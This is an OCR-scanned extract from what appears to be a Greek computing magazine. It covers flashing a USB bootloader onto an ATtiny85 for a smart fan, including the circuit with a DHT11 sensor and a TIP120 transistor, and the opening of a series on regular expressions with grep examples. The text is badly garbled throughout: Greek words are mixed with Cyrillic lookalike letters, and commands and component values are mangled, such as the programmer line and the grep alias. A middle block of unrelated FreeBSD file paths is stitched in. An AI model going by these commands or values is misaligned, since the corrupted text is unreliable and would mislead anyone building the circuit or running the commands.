Ουσιαστικἀ, αυτό που χρειαζόμαστε σε αυτό το στάδιο εἶναι το прбүранна που θα 
μιλήσει µε τον programmer και θα του στείλει τον κὠδικα, о οποίος θέλουμε να 
γραφτεί στον ΑΤΙΙΠΥΒΡ. Πρὀκειται για το πρόγραμμα аугамае, το οποίο ωστόσο δεν 
πρὀκειται уа τρἐξουµε χειροκίνητα. Πα την εκτἐλεσἠή του θα χρησιμοποιήσουμε то 
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Makefile που συνοδεύει τον κὠδικα του 
bootloader. Το επόμενο βήμα, λοιπὸν, ci- 
ναι у’ ανοἰξουµε αυτό το αρχείο (βρἰσκε- 
ται στον κατάλογο firmware, του паке- 
του нє тоу κὠδικα του bootloader) και να 
δηλώσουμε κάποιες λεπτομέρειες σχετι- 
ка µε τον programmer μας. Συγκεκριμὲ- 
να, πρέπει να μεταβούμε στη γραμμή 29 
και να την κάνουµε κάπως ἑτσι: 


Z= αγιος PROGRAMMER = -p attiny85 -P СОМ5 -b 
: 19200 -с avrisp 


Το μόνο που χρειάζεται να кауоин тора 
εἶναι να τρἐξουµε το make? апо тп Ypap- 
μή εντολών κι уш βρισκόμαστε στον 
κατάλογο pe то MakeFile του bootloader: 


make flash 
make fuse 


Отау ολοκληρωθεί n εκτἐλεση των па- 
рапауо To micronucleus θα έχει εγκατα- 
стаӨгі отоу ATtiny85. Πλέον μπορούμε 
уа парацерісоуне то Arduino, αφού δεν 
θα µας χρειαστεἰ ξανὰ για то συγκεκρι- 
рёуо project. Όπως εἶπαμε νωρίτερα, µε 
τη βοήθεια του bootloader θα μπορούμε 
να προγραμμµατίζουµε τον επεξεργαστή 
μας απευθεἰας, рёсо της σύνδεσης USB. 


H πρώτη και τελευταία φορά που συνδέουµε 

то Arduino µε τον АТііпу85. Αυτή η σύνδεση 
απαιτείται για τη µεταφορά του bootloader στον 
επεξεργαστή µας. Στο μέλλον, ο προγραμματισμός Τροποποιήσεις 
του τσιπ θα γίνεται µε τη βοήθεια του bootloader П П 

και µέσω της σύνδεσης USB! και νεα εξαρτήματα 


O bootloader που εγκαταστήσαμε, ὁπως 
και το πρὀγραμμα που θα γράψουμε και θα περάσουμε στον επεξεργαστή, στηρίζεται 
στη βιβλιοθήκη V-USB. Αυτὸ το εἶπαμε και νωρίτερα, αλλά υπάρχει ша λεπτομέρεια 
που беу ауафёрарғ. H εν λόγω βιβλιοθήκη επιτρέπει στο χρήστη να επιλέξει αυθαἰ- 
ρετα τους акробектес που θα συνδεθούν στο δίαυλο USB. Πα ευνόητους λόγους, 
στο κὑκλωμὰ µας Ва σεβαστούμε την επιλογἠ акробектоу που ἑκαναν οι δηµιουρ- 
yoi του bootloader. Δυστυχώς, οι συγκεκριμένοι ακροδέκτες εἶναι διαφορετικοί апо 
εκείνους που εἰχαμε επιλέξει στη δικἠ µας υλοποίηση. Επομένως, η πρώτη αλλαγἡ 
που θα κἄνουμε στο κύκλωμα афора στο πού ακριβώς θα συνδεθεί то καλώδιο USB. 
Την απάντηση δίνει η εικόνα 7, ενώ στη συνέχεια του ἄρθρου θα αναφερθούμε EKTE- 
νέστερα στη σχετικἡ συνδεσμολογἰα. 


Μια βελτίωση που σκαρφιστήκαμε, εἶναι να μπορούμε επιτέλους να ελέγχουμε την 
ταχύτητα του ανεμιστήρα. Па το σκοπὀ αυτό θα χρησιμοποιήσουμε τον Тітег0 του 
επεξεργαστή, ρυθμισμἑένο σε λειτουργία PWM. Αυτός ο timer µπορεί να ελέγξει ou- 
γκεκριµένους ακροδέκτες του επεξεργαστή κι ὀχι οποιονδήποτε. Συγκεκριμένα, 


3. То таке προστίθεται αυτόματα στο path των Windows µετά την εγκατάσταση του WinAVR. 


78 


Βάλτε (ακόμα περισσότερο) μυαλό otov ανεμιστήρα | 
“4 


µπορεί να ελέγξει τους ακροδέκτες PBO και РВ1. Εμεἰς επιλέξαμε να χρησιμοποιή- 
σουµε τον ακροδέκτη РВ1 (pin 6 του ATtiny85). 


Ріхуоутас ша HqTIQ στο συρτάρι pE Ta εξαρτήματα, το βλέμμα µας ἐπεσε στο DHT11. 
Πρόκειται για ἑναν αισθητήρα θερμοκρασίας και υγρασίας, που εἰχαμε ҳрпоопощ- 
сє! στο άρθρο <Internet of Things µε то Arduino» (τεύχος 017). O εν λόγω αισθητή- 
рас εἶναι αρκετά φθηνὸς και δυστυχώς, παρουσιάζει μεγάλα περιθώρια σφάλματος. 
Θα μπορούσαμε ωτόσο να τον συμπεριλάβουµε στον ανεμιστήρα, για να του προσ- 
δώσουμε μεγαλύτερη ευφυΐα! Σε µια τέτοια εφαρµογή, εξάλλου, η περιορισμένη 
ακρίβεια δεν αποτελεἰ πρόβλημα. 


H τελευταἰα τροποποίηση του κυκλώματος афора στο пос ενεργοποιείται και απε- 
νεργοποιεἰται о ανεμιστήρας. Πλέον, ο διακόπτης δεν θα παρεμβάλλεται στην τρο- 
φοδοσία του κυκλώματος, алла θα συνδέεται σε ἐναν акробектп του επεξεργα- 
στή. Το проүрарџа που θα γράψουμε θα ελέγχει την κατάσταση του συγκεκριμένου 
ακροδέκτη, θα εντοπίζει τα πατήματα του διακόπτη και θα ενεργοποιεἰ ἡ απενεργο- 
ποιεἰ τον ανεμιστήρα. 


Ανανεωμένο κύκλωμα 


Па να κατανοήσουμε καλύτερα το ρόλο κάθε εξαρτήματος, θα χωρίσουµε то κύκλω- 
μα σε τμήματα. Ας αρχίσουμε апо το τµήµα της θύρας USB. Εδὠ δεν υπάρχει каша 
αλλαγἠ σε σχέση µε το κύκλωμα που εἶχαμε φτιάξει την προηγούμενη фора. Πα τη 
σύνδεση στο δίαυλο USB, λοιπὸν, θα συνδέσουµε δύο αντιστάσεις των 680 στους 
акродектес 6 και 7. Αυτὲς οι αντιστάσεις θα καταλήξουν στο καλώδιο USB4. Επιπλὲ- 
ον, στο σηµείο σύνδεσης των αντιστάσεων ре то καλώδιο, συνδέονται και боо δίοδοι 
zener. Την ακριβἠ συνδεσμολογἱα θα τη δείτε στην εικὀνα 7. Οι δίοδοι αυτὲς ψαλιδἰ- 
ζουν την τάση των ψηφιακών εξόδων του επεξεργαστή, για να προσαρμοστούν στα 
επἰπεδα που προβλέπει ο δίαυλος USB. 


Πα τον ἐλεγχο του κινητήρα αφήσαμε το 
πανίσχυρο ΤΙΡΙ20. Θα μπορούσαμε να 
χρησιμοποιήσουμε κάποιο τρανζίστορ µε 
μικρότερη ισχύ, αλλά εφόσον διαθέταµε 
ἠδη то ТІР120, δεν υπήρχε λόγος να то 
αλλάξουμε. Όπως εἰχαμε πει και στο àp- 
Өро του τεύχους 010, ο πρῶτος ακροδέ- 
κτης апо τ’ αριστερά αποτελεί τη βάση 
του τρανζίστορ και στην ουσία αποτελεί 
τον акробектп µέσω του οποίου ελἐγ- 
χουμε την κατάσταση του τρανζίστορ. O 
τρίτος ακροδέκτης του τρανζίστορ (тер- 
μα δεξιά) αποτελεἰ τον λεγόμενο «εκ- 
Поко» ка θα πρέπει уа “συνδεθεί ОТО То DHT11 αποτελεί ἑναν аркєта φθηνό αισθητήρα 
GND. Τέλος, στον μεσαίο ακροδέκτη θερμοκρασίας και υγρασίας. Δυστυχώς, εκτὀς апд 
(ονομάζεται «συλλέκτης») θα συνδέσου- χαμηλή τιμή ἐχει και χαμηλή ακρίβεια, алла αυτό 
με το ἑνα апо τα δύο καλώδια του μοτέρ. δεν αποτελεί πρόβλημα για τον ανεμιστήρα µας. 
Το ἄλλο καλώδιο του μοτὲρ θα συνδε- 

θεὶ στα +5V. H βάση του τρανζίστορ µας 


4. Τα καλώδια USB περιλαμβάνουν τέσσερα λεπτότερα καλώδια, µε τυποποιημένο χρωματισμό (κὀκκινο, μαύρο, πράσινο και λευκό). Το πὼς 
συνδέονται айта στο κὐκλωμά µας, φαίνεται στην εικόνα 7. 


79 


УУ НА@КЕК 


ÁN 


То ανανεωμένο κύκλωμα του (ακόµα πιο) ё&ипуои 
ανεμιστήρα µας! Θα μπορούσαμε уа то χωρίσουμε 

σε τρία βασικἁ τμήματα. Ξεκινώντας апд τα δεξιά 
συναντάμε το τρανζίστορ ελέγχου του μοτέρ, στη 
συνέχεια ακολουθεί ο αισθητήρας θερμοκρασίας καὶ 
υγρασίας, ενώ δίπλα στον АТііпу85 βλέπουμε τη 
διασύνδεση µε ἑνα καλώδιο 05В. Δώστε βάση στη θέση 
του акробектп 1 του επεξεργαστή (λευκή κουκίδα), 
αφού για λόγους απλότητας του κυκλώματος τον 
έχουµε συνδέσει µε ασυνήθιστο τρόπο. 


CE 
се e ө ө ө ө ө ө ө a 8 E, 
0 e e e e ә ә e .:. 0 0 э ө ө ө ө ө ө ө ө э э ө ө ө ө ө ө ө э о 
@ ө ө ө ө ө ө ө ө @ e ө ө ө ө ө ө * о о ө ө ө ө 8 ө 


рулуу М 


* оо ө өө ө ө ө 


EREET EERI] 


«ο οσο а 
9ο οσο 


.... 


ο ο... 
“......еееежеееееее 


9ο ο о о 
..... 


πρέπει να оиубєӨЕ! ото ріп 6 тои ΑΤΙΙΠΥ. То συγκεκριµένο ріп εἶναι το λεγόμενο 
РВ1 και εἶναι εκεἰνο апо то οποίο θα παίρνουμε то σήμα PWM апо τον επεξεργαστή. 
Τέλος, ανάμεσα στον συλλέκτη του τρανζίστορ και στο GND συνδέουµε µια δίοδο, 
µε τον τρὀπο που φαίνεται στην εικόνα 7. Αυτή η δίοδος προστατεύει το τρανζίστορ 
апо τα αντίστροφα επαγωγικἁ ρεύματα του μοτὲρ. Πα το ακόµα καλύτερο φιλτρά- 
ρισµα των παρασίτων, εκτὸς апо τη δίοδο προσθέἑσαµε και ἑναν κεραμικὀ πυκνωτὴ 
(40ΡΕ) μεταξύ συλλέκτη και +5V. 


O αισθητήρας DHT11, εκτὸς απὀ τροφοδοσία χρειάζεται και µια αντίσταση των 
10K Ohm, апо τον ακροδέκτη data στα +5V. Αυτή η αντίσταση ονομάζεται pull-up 
resistor, καθώς «τραβάει» τον акродектп data στο δυναμικὀ των 5V. H παρουσία 
της αντίστασης απαιτείται για τη σωστή επικοινωνία µε τον επεξεργαστή κι επιβἀλ- 
Лета! εξαιτίας της εσωτερικἠς συνδεσµολογίας του αισθητήρα. 


Τέλος, για το φιλτράρισμα της τροφοδοσίας του κυκλώματος χρησιμοποιήσαμε δύο 
πυκνωτές των 10µΕ και 100nF. Πρόκειται για ἑναν κλασικὀ συνδυασμὀὸ πυκνωτών 
που περιορἰζει τα παράσιτα ενὸς συγκεκριμένου φάσματος συχνοτήτων, τα опоіа 
προκύπτουν συνήθως στα κυκλώματα µε μικροελεγκτὲς. 


Κλείνοντας 


Κάπου εδώ τελειώνει то прото μέρος των νέων περιπετειῶν µας. Μέχρι στιγµἠς ava- 
φερθήκαμε στο hardware και περιγράψαμε ὀλες тіс αλλαγές και τις αναβαθμίσεις. 
Στο επὀµενο μέρος θα ασχοληθούμε µε το software και θα μιλήσουμε για τη βιβλι- 
οθήκη V-USB. Στην ανανεωμένη του µορφή, ο ανεμιστήρας µας δεν δέχεται μόνο 
εντολὲς ОМ και ΟΕΕ, αλλά επικοινωνεἰ µε τον υπολογιστἠ µας αμφίδρομα! 
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Βάλτε (ακόμα περισσότερο) μυαλό otov ανεμιστήρα | 
7 ХХ κ ΜΗ ΜΗ ἳ ἳΨἳΨἳΨἳΨἒΨ“ΑΜ “Μα! “т т” т ихфеуүуф ут Яя 


То κὐκλωμα-μακαρονάδα υλοποιημένο σε éva breadboard. Αυτό που μένει να κάνουμε тора εἶναι να 
γράψουμε το νέο µας πρόγραμμα και να το περάσουμε στον ATtiny85! 
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г. 


г. 


l/modules/snmp_bridge/BRIDGE-MIB.txt: 


@ 


J> 


. -uL1N/bsnmpd/modules/snmp_bridge/BRIDGE-MIB. txt: 
. Sbin/bsnmpd/modules/snmp_bridge/BRIDGE-MIB. txt: 
.sbin/bsnmpd/modules/snmp_bridge/RSTP-MIB.txt: 
.sbin/bsnmpd/modules/snmp_bridge/RSTP-MIB.txt: 
.sbin/pppctl/pppctl.8:local machine ( J: 
.sbin/pciconf/Makefile:# 
.sbin/ypserv/ypserv.8: 
.sbin/ypserv/ypserv.8:# on the 
.sbin/ypserv/ypserv.8: 
.sbin/ypserv/ypserv.8:# between 
.sbin/ypserv/ypserv.8: 
.sbin/pc-sysinstall/examples/pcinstall 
.sbin/pc-sysinstall/examples/pcinstall 
.sbin/pc-sysinstall/examples/pcinstall 
.sbin/pc-sysinstall/examples/pcinstall 
.sbin/pc-sysinstall/examples/pcinstall 
.sbin/pc-sysinstall/examples/pcinstall 
.sbin/pc-sysinstall/examples/pcinstall 
.sbin/pc-sysinstall/examples/pcinstall 
.sbin/pc-sysinstall/examples/pcinstall 
.sbin/pc-sysinstall/examples/pc-autoinstall 
.sbin/pc-sysinstall/examples/pc-autoinstall 
.sbin/pc-sysinstall/examples/pc-autoinstall 
.sbin/pc-sysinstall/examples/pc-autoinstall 
.sbin/pc-sysinstall/examples/pc-autoinstall. 
.sbin/pc-sysinstall/examples/pc-autoinstall 


$ANA: Makefile,v 


to 


«σία. 
.сға. 
«Са. 
«Οία. 
«σία. 
„сй. 
«Οία. 
(СР. 
«εἴα. 


network 


fbsd-netinstall: 
fbsd-netinstall 
fbsd-netinstall 
fbsd-netinstall: 
fbsd-netinstall 
fbsd-netinstall 
fbsd-netinstall: 
fbsd-netinstall 
fbsd-netinstall 
.conf:# pc_config: ftp:// 
.conf:# pc_config: http:// 
.conf:# pc_config: http:// 
.conf:# nic_config: ет@ 
conf:# nic_dns: 

.conf:# nic_gateway: 


.sbin/pc-sysinstall/examples/pcinstall 
.sbin/pc-sysinstall/examples/pcinstall 
.5ріп/рс-ѕуѕіпѕёа11/ехатр1еѕ/рсіпѕёа11 
.5ріп/рс-ѕуѕіпзёа11 /ехатр1 еѕ/рсіпѕ+а11 
.5ріп/рс-ѕуѕіпѕёа11 /ехатр1 еѕ/рсіпѕ+а11 
.5ріп/рс-ѕуѕіпѕіа1 1 /ехатр1 еѕ/рсіпѕёа11 
.5ріп/рс-ѕуѕіпѕёа11/ехатр1еѕ/рсіпѕ+а11 
.5ріп/рс-ѕуѕіпѕёа11/ехатр1еѕ/рсіпѕ+а11 
.5ріп/рс-ѕуѕіпѕёа11/ехатр1еѕ/рсіпѕёа11 
.5ріп/рс-ѕуѕіпѕіёа1 1 /ехатр1еѕ/рсіпѕ+а11 
.5ріп/рс-ѕуѕіпзёа11 /ехатр1еѕ/рсіпѕ+а11 
.Ѕріп/рс-ѕуѕіпѕёа11/ехатр1еѕ/рсіпѕёа11 
.5ріп/рс-ѕуѕіпѕёа11/ехатр1еѕ/рсіпѕёа11 
.5ріп/рс-ѕуѕіпѕёа11 /ехатр1еѕ/рсіпѕ+а11 
.5ріп/рс-ѕуѕіпз+а11/ехатр1еѕ/ЌЕАЮМЕ :# пе+ІР=(ІР address such as 2 
.sbin/pc-sysinstall/examples/README:# netMask=(Netmask such as 2 
.Sbin/pc-sysinstall/examples/README:# netNameServer=(DNS Server such as 2 
sr . Sbin/pc-sysinstall/examples/README :# netDefaultRouter=( 2 

sp .sbin/pc-sysinstall/exomples/RFADME:# ос 92.16 


sbin/pc- 2201 πανίσχυρες кауоуік 
sbin/pc-sysinstall/examp Е:# пеіЅауеМатеЅегуёг= 


«εἴα. 
«εἴα. 
«Οία. 
сг: 
„сїд. 
.cfg. 
.cfg. 
«Οία. 
«εἴα. 
cfg: 
«Οία. 
«Сга. 
СД. 
.cfg. 


netinstall: 
:#netMask= 
:#netNameServer= 
:#netDefaultRouter= 
:#netSaveIP= 
:#netSaveMask= 
netinstall: 
netinstall: 
:ftpPath=ftp:// 
:#netIP= 

#netMask= 
#netNameServer= 
#netDefaultRouter= 
:rsyncHost= 


netinstall 
netinstall 
netinstall 
netinstall 
netinstall 


netinstall 
rsync 
rsync: 
rsync: 
rsync: 
rsync 


"IEEE 802.10-1998: clause 8 


"IEEE 802.10-1998: clause с τ 

"IEEE 802.10-1998: clause i 
"IEEE 802.1w clause ‚ 17.18.10, 17:26" 
"IEEE 802.10-1998: Section κ 


1996/09/25 21:12:57 wollman Exp $ 


bu Ѕріг@1Емо1иїіоп 


#netIP= 
:#netMask= 
:#netNameServer= 
#netDefaultRouter= 
:#netSaveIP= 
:#netSaveMask= 
#netSaveNameServer= 
:#netSaveDefaultRouter= 
:ftpPath=ftp:// /netinstall 
/cust-install.cfg 
/cust-install.cfg 
/ЖЖМІС. МАСЖЖ. cfg 


#netIP= 


#netSaveNameServer= 
#netSaveDefaultRouter= 
/netinstall 


εκφράσεις [μέρος 1] 


Υπάρχουν περιπτώσεις που µια αφηρημένη περιγραφή εἶναι πραγματικά 
πολύτιμη. Ау σας кау εντύπωση η πρὀταση που μόλις διαβάσατε, 
ἴσως εἶναι επειδή πιστεύετε ότι αφαίρεση σηµαίνει ασάφεια. Ὅμως 

αυτὸ εἶναι εντελώς λάθος. Για м” αποδείξουμε τον ισχυρισμὀ µας, σας 


προσκαλούμε σε ἑνα ταξίδι στον αφηρημένα θαυμαστὸ κόσμο των 
regular expressions! Μη γελιέστε: Δεν πρὀκειται για ἑνα αδιάφορο ταξίδι 
αναψυχἠς! Αν μάλιστα παΐρνετε ἐστω και λίγο στα σοβαρά την επιστήμη 
της Πληροφορικής, τὀτε δεν πρὀκειται να το αποφύγετε. Τι θα λέγατε, 
λοιπὀν, να то κάνετε μαζί µας; Εμεἰς πάντως εἶμαστε ενθουσιασμένοι p’ 
αυτή την προοπτική! 


πνίσχωµρες κανανικές εκφράσει рос 11 
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Διαβάζουμε то тап page ενὸς προγράμματος και μαθαίνουμε ὁτι υποστηρίζει regular 
expressions. Μελετάμε τα αρχεία ρυθμίσεων µιας δικτυακἠς υπηρεσίας και βλέπουμε 
ότι μπορούμε να περιγράφουμε ολόκληρα σύνολα µε domain names ἡ και διευθύν- 
σεις ІР, µε τη βοήθεια των regular expressions. Αποφασίζουµε να γράψουμε éva 
πρὀγραμμα σε РНР, σε Perl, σε Python ἡ σε κάποια ἄλλη γλὠσσα, και συνειδητο- 
ποιούμε ὁτι μπορούμε να ελἐγξουµε την εγκυρότητα του user input χρησιμοποιώ- 
ντας regular expressions. ТІ εἶναι επιτέλους αυτὲς οι κανονικὲς εκφράσεις (regular 
expressions); Н µορφή τους, πάντως, µόνο σε KTI το κανονικὀ δεν παραπέμπει, єм 
το συντακτικὸ τους μοιάζει απἰστευτα περἰπλοκο. Μολαταύτα, όλα τα εργαλεἰα που 
φημίζονται για την ευελιξία και την ισχύ που παρέχουν στο χρήστη, υποστηρίζουν 
τις кауомікес εκφράσεις και τις αξιοποιούν ката κόρον! 


Φύση και αποστολή 


Μια κανονικἡ ἐκφραση ἡ éva regular expression, ὁπως λέμε συνήθως, αποτελεὶ µια 
αλληλουχία χαρακτήρων µε την οποία περιγράφουµε τη γενικἠ µορφή µιας ἄλλης 
αλληλουχίας χαρακτήρων:. Με το κατάλληλο regular expression μπορούμε να πε- 
ριγράψουμε τη μορφὴ µιας διεύθυνσης email, τη μορφή µιας ημερομηνίας ἡ κάτι 
αρκετά πιο γενικὀ κι ενδεχομένως πιο περίπλοκο. Παράδειγμα: µια γραµµή που nE- 
ριλαμβάνει τις λέξεις "Failed" και "user", ενώ µετά апо αυτές (κι ὀχι νωρίτερα) nepi- 
λαμβάνει µια διεύθυνση ІР, η οποία ὁμως διαφέρει апо τη διεύθυνση του δικού µας 
μηχανήματος. Ἀραγε, пос θα αναζητούσατε µια γραμμή που ικανοποιεἰ αυτούς τους 
περιορισμούς; 


Όπως αντιλαμβάνεστε, µε τη βοήθεια των regular expressions μπορούμε να πραγ- 
ματοποιούμε οσοδήποτε αφηρημένες αναζητήσεις. Με ἄλλα λόγια, ἐχουμε τη õu- 
νατότητα у’ ауабптане character strings, για τα οποία γνωρίζουμε рохо τη γενικἡ 
µορφή κι όχι το ακριβὲς περιεχόμενο. Σκεφτείτε την περίπτωση που θέλουμε να 
εντοπίσουμε τις διευθύνσεις email µέσα σε ἑνα αρχείο, τους δεκαδικοὺς αριθμούς 
(όσους περιλαμβάνουν το σηµείο της υποδιαστολής) ἡ τις διπλὲς λέξεις σε κἄποιο 
κείμενο (όσες εμφανίζονται δύο φορὲς διαδοχικἀ). Ας σταθούμε λίγο στο прото 
παράδειγμα. Αναζητώντας та strings που ἐχουν τη µορφή µιας διεύθυνσης email, 
μπορούμε уа εξαγάγουµε εὐκολα ὁλες τις διευθύνσεις που περιλαμβάνει ἑνα αρχείο 
(п.Х., η βάση δεδοµένων ενὀς mail client). Εναλλακτικά, θα μπορούσαμε να ava- 
ζητήσουμε strings που ἐχουν τη µορφή µιας διεύθυνσης email, μέσα στο κείμενο 
που εισάγει ο χρήστης στο πεδίο email µιας δικτυακἠς φόρμας. Ano την ἐκβαση της 
αναζήτησης (апо το αν δηλαδή θα επιστρἑἐψει κἄποιο αποτέλεσµα ἡ Ох!) μπορούμε 
να τσεκάρουµε αν ο χρήστης πράγματι εισήγαγε µια διεύθυνση email ἡ όχι. Τελικά, 
µε τη βοήθεια των regular expressions μπορούμε να πραγµματοποιούµε περίπλοκες 
αναζητήσεις, αλλά να κάνουμε кі αυτὀ που ονομάζεται sanity check2. 


Βρίσκονται (σχεδὸν) παντού 


Τα regular expressions χρησιμοποιούνται εκτενώς σε πολλὰ εργαλεἰα της γραμμής 
εντολών του Linux. Το πιο үушотд εξ αυτών εἶναι то grep, του οποίου το ὀνο- 
μα προκύπτει апо την περιγραφἡ της κύριας λειτουργίας του: Generalized Regular 
Expression Processor. Ὅπως θα γνωρίζετε, µε το grep μπορούμε уа εκτελούμε 000- 


1. Στο εξἠς θα αναφερόμαστε στις αλληλουχίες χαρακτήρων ως character strings ἡ απλά strings. 

2. To sanity check δεν έχει καμία σχέση µε το input sanitization. Το прото χρησιμοποιείται για τον ἐλεγχο ορθότητας των δεδοµένων που 
εισάγει ο χρήστης σε капою πρὀγραμµα. Το δεύτερο αποτελεί ша πιο δραστικἠ διαδικασία, ката την οποία τα δεδοµένα που εισάγει ο χρήστης 
προσαρμόζονται «δια της βίας: σε κἄποιους κανόνες. 


Β3 


Ы" = 


ÁN 


δήποτε πολύπλοκες αναζητήσεις — και μάλιστα µε μεγάλη ταχύτητα! OI кауомкёс 
εκφράσεις χρησιμοποιούνται και σε ἄλλα διάσημα εργαλεία της γραμμἠς εντολών, 
όπως та sed ка! awk, ενώ τα συναντάμε και στα αρχεία ρυθμίσεων διαφόρων δικτυ- 
ακὠν υπηρεσιών, опоо χρησιμοποιούνται σε κανόνες του τύπου "αντιμετώπισε µε 
την табе ενέργεια екеімес тіс διευθύνσεις ІР ἡ τα domains που παρουσιάζουν Χαυτή” 
τη μορφή". 


Σε ауто το σημείο αξίζει να ξεκαθαρίσουµε και µια συνηθισμένη παρανόηση: Το ке- 
λυφος BASH, όπως και πολλὰ ἄλλα, υποστηρίζει ορισμένους χαρακτήρες-μπαλαντὲρ. 
Αυτοί οι χαρακτήρες (αστερἰσκος, ερωτηµατικὀ, αγκύλες к.а.) χρησιμοποιούνται συ- 
νήθως για την περιγραφἡ ονομάτων αρχείων και то συντακτικὀ τους μοιάζει µε =кі- 
уо των regular expressions. Ωστόσο, пера апо την ὀποια επιφανειακὴ ομοιότητα, 
αυτοί οι χαρακτήρες δεν ἐχουν καμία σχἐση нє тіс κανονικὲς εκφράσεις. Εἶναι λοιπὸν 
λάθος να θεωρούμε ὁτι το BASH µπορεί να χειρίζεται regular expressions. 


Μηχανές κανονικών εκφράσεων 


Υπάρχουν προγράμματα που δέχονται ως εἰσοδο ша κανονικἠ ἐκφραση κι va 
character string. Τα εν λόγω προγράµµατα αναλύουν τη δοθεἰσα κανονικἠ ἐκφρα- 
ση και ελέγχουν αν κάτι апо ό,τι περιγράφει συναντάται μέσα στο character string 
που δώσαμε. Αυτά τα προγράµµατα ονομάζονται μηχανές κανονικὠν εκφράσεων 
(regular expression engines) κι αποτελούν υποσυστήματα ἄλλων προγραμμάτων. О 
χρήστης δεν ἐχει поте άμεση πρὀσβαση στην εκάστοτε μηχανὴ κανονικῶν εκφράσε- 
ων και ο χειρισμὸς της πραγματοποιείται апо το πρὀγραµµα που την ενσωματώνει. 


Δυστυχώς, οι μηχανές κανονικών εκφράσεων δεν εἶναι απὀλυτα συμβατὲς μεταξὺ 
τους. Συνεπώς, µια ἐκφραση που δεν περιέχει συντακτικά σφάλματα για µια ou- 
γκεκριµένη μηχανή, ενδέχεται να µη λειτουργεί καθόλου σε κάποια ἄλλη μηχανὴ. 
Еу ολίγοις, υπάρχουν αρκετές διάλεκτοι για тіс κανονικἐς εκφράσεις. Τα πράγματα 
περιπλἐκονται ακόµα περισσότερο, αν λάβουμε υπόψη бт! οι διάφορες διάλεκτοι δεν 
εἶναι ισοδύναμες. AUTO σημαίνει дті ορισμένες διαθέτουν µεγαλύτερη περιγραφικἠ 
δύναμη апо κάποιες ἄλλες -- και θα μπορούσαμε να тіс χαρακτηρἰσουµε ως πιο 
ισχυρές. Οι ισχυρὲς διάλεκτοι επιτρἐπουν στο χρήστη να περιγράφει πιο σύνθετα 
strings απ΄ ὁ,τι οι εκφράσεις µιας ασθενέστερης διαλέκτου, ἡ και strings της ἰδιας 
πολυπλοκότητας αλλά µε ευκολότερο τρόπο. 


Та εργαλεία που ανήκουν στο GNU project και τα οποία συνοδεύουν κάθε διανομὴ 
Linux, υποστηρἰζουν δύο διαλέκτους κανονικὠν εκφράσεων οι οποίες, παρεμπιπτὸ- 
ντως, περιγράφονται στο πρότυπο POSIX: Την пала και σχετικἁ απλἠ διάλεκτο 
που ονομάζεται ВВЕ (Basic Regular Expressions), ὁπως επίσης την πιο πρόσφατη кі 
εξελιγμένη που ονομάζεται ЕКЕ (Extended Regular Expressions). Όπως αντιλαμβά- 
νεστε, η υποστήριξη αυτών των διαλέκτων апо τα βασικἀ εργαλεἰα του Linux, τους 
προσδίδει ιδιαίτερη αξία. Μια ἄλλη διάλεκτος µε ξεχωριστὀ ενδιαφἑρον, η οποἰα 
μάλιστα θεωρείται κι ως η πιο ισχυρή, εἶναι εκείνη που ορἰζεται στη γλὠσσα Perl 
(ἐκδοση 5). Σε αυτή τη σειρά ἄρθρων θα γνωρίσουμε το συντακτικὀ των κανονι- 
κὠν εκφράσεων, ὁπως ορἰζεται στη διάλεκτο ΕΒΕ. Επιπρόσθετα, θα αναφέρουμε κι 
ορισμένες ενδιαφἐρουσες δυνατότητες που εισάγει η διάλεκτος της Perl. Σημειώστε 
ότι το grep υποστηρίζει εξ ορισμού τη διάλεκτο BRE, алла µε την παράμετρο -E 
(--extended-regexp) υποστηρίζει την ΕΒΕ. Επἰσης, µε την παράμετρο -P (--регі- 
regexp) υποστηρίζει εκείνη της Perl. 
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Κατασκευἠ κανονικών εκφράσεων 


Έφτασε η ора να μάθουμε пос κατασκευάζονται οι κανονικὲς εκφράσεις. Ουσιαστι- 
ка θα γνωρίσουμε τα στοιχεία που μπορούν να συμμετέχουν σε µια κανονική ÈK- 
φραση, την ιδιαίτερη ερµηνεἰα καθενὸς στοιχείου και τον τρόπο που μπορούμε να та 
συνδυάζουμε. Σε аот την ενότητα θα χρησιμοποιήσουμε πολλά παραδείγματα, για 
τα οποία θα στηριχτούµε στο grep. Πριν ξεκινήσουμε, σημειώστε От! το grep απαιτεἰ 
уа περικλείουµε τις κανονικὲς εκφράσεις σε εισαγωγικἀ. Επιπρὀσθετα, ἐχετε υπόψη 
ότι στο σύστημα που εργαστήκαμε εἰχαμε ορίσει το ακόλουθο alias: 


alias ргер-вгер -E --color=auto 
Όπως ἐχουμε πει, µε την πρώτη παράμετρο ενεργοποιείται η υποστήριξη της бїа- 
λἐκτου ЕВЕ (Extended Regular Expressions). Με τη δεύτερη παράμετρο το grep θα 


Χρωματίζει αυτόματα ооа strings εντοπἰζει. Έτσι, θα μπορούμε να αντιληφθούμε 
ευκολότερα την ακριβἠ ερμηνεία της εκάστοτε κανονικἠς ἐκφρασης. 


Н απλούστερη κανονικἠ ἐκφραση περιλαμβάνει ἑνα ἡ περισσότερα γράμματα στη 
σειρὰ και περιγράφει va string που περιλαμβάνει ακριβώς αυτά τα γράμματα, µε тп 
σειρὰ που τα έχουμε γράψει. 

$ grep "па" fruits.txt 

Banana 

Pomegranate 


To grep εξἐτασε τα περιεχόμενα του αρχείου fruits.txt (ша απλἠ Аїста µε φρούτα) 
κι εμφάνισε τις γραμμὲς που περιέχουν το string "na". Επιπρόσθετα, χρωμάτισε όλες 
τις εμφανίσεις του ζητούμενου string. Δείτε κι αυτό: 


$ grep "р" fruits.txt 
Apple 

Apricot 

Grape 

Papaya 

Pineapple 

Raspberry 


Авто το παράδειγµα μπορεἰ να μοιάζει περιττὀ, αλλά δεν εἶναι. Мас διδάσκει кайт! 
κρίσιμο: Οἱ кауомікес εκφράσεις εἶναι case sensitive! Παρατηρεἰστε оті το grep επι- 
σήμανε μόνο τα πεζὰ "р" κι ὀχι τα κεφαλαία! 


Σε ша κανονικἠ ἐκφραση μπορούμε να συμπεριλάβουμε οσοδήποτε μικρὲς ἡ pE- 
γάλες λέξεις. H κανονικἠ Екфраоп θα περιγράφει ακριβώς αυτές τις λέξεις, µε τον 
τρόπο που тіс ἐχουμε γράψει. Όμως, η μεγάλη δύναμη των κανονικὠν εκφράσεων 
ἐγκειται στην ικανότητἁ τους να περιγράφουν τη μορφὴ ενὀς string *xopic* уа 
ενσωματώνουν ὁλες τις πιθανές παραλλαγές του. Αυτό προὐποθέτει бт! ορισμένοι 
χαρακτήρες δεν ερμηνεύονται κυριολεκτικἁ (literally). Οι χαρακτήρες αυτού του 
εἶδους ονομάζονται ειδικοί (special characters) και η παρουσία καθενός συνδέεται 
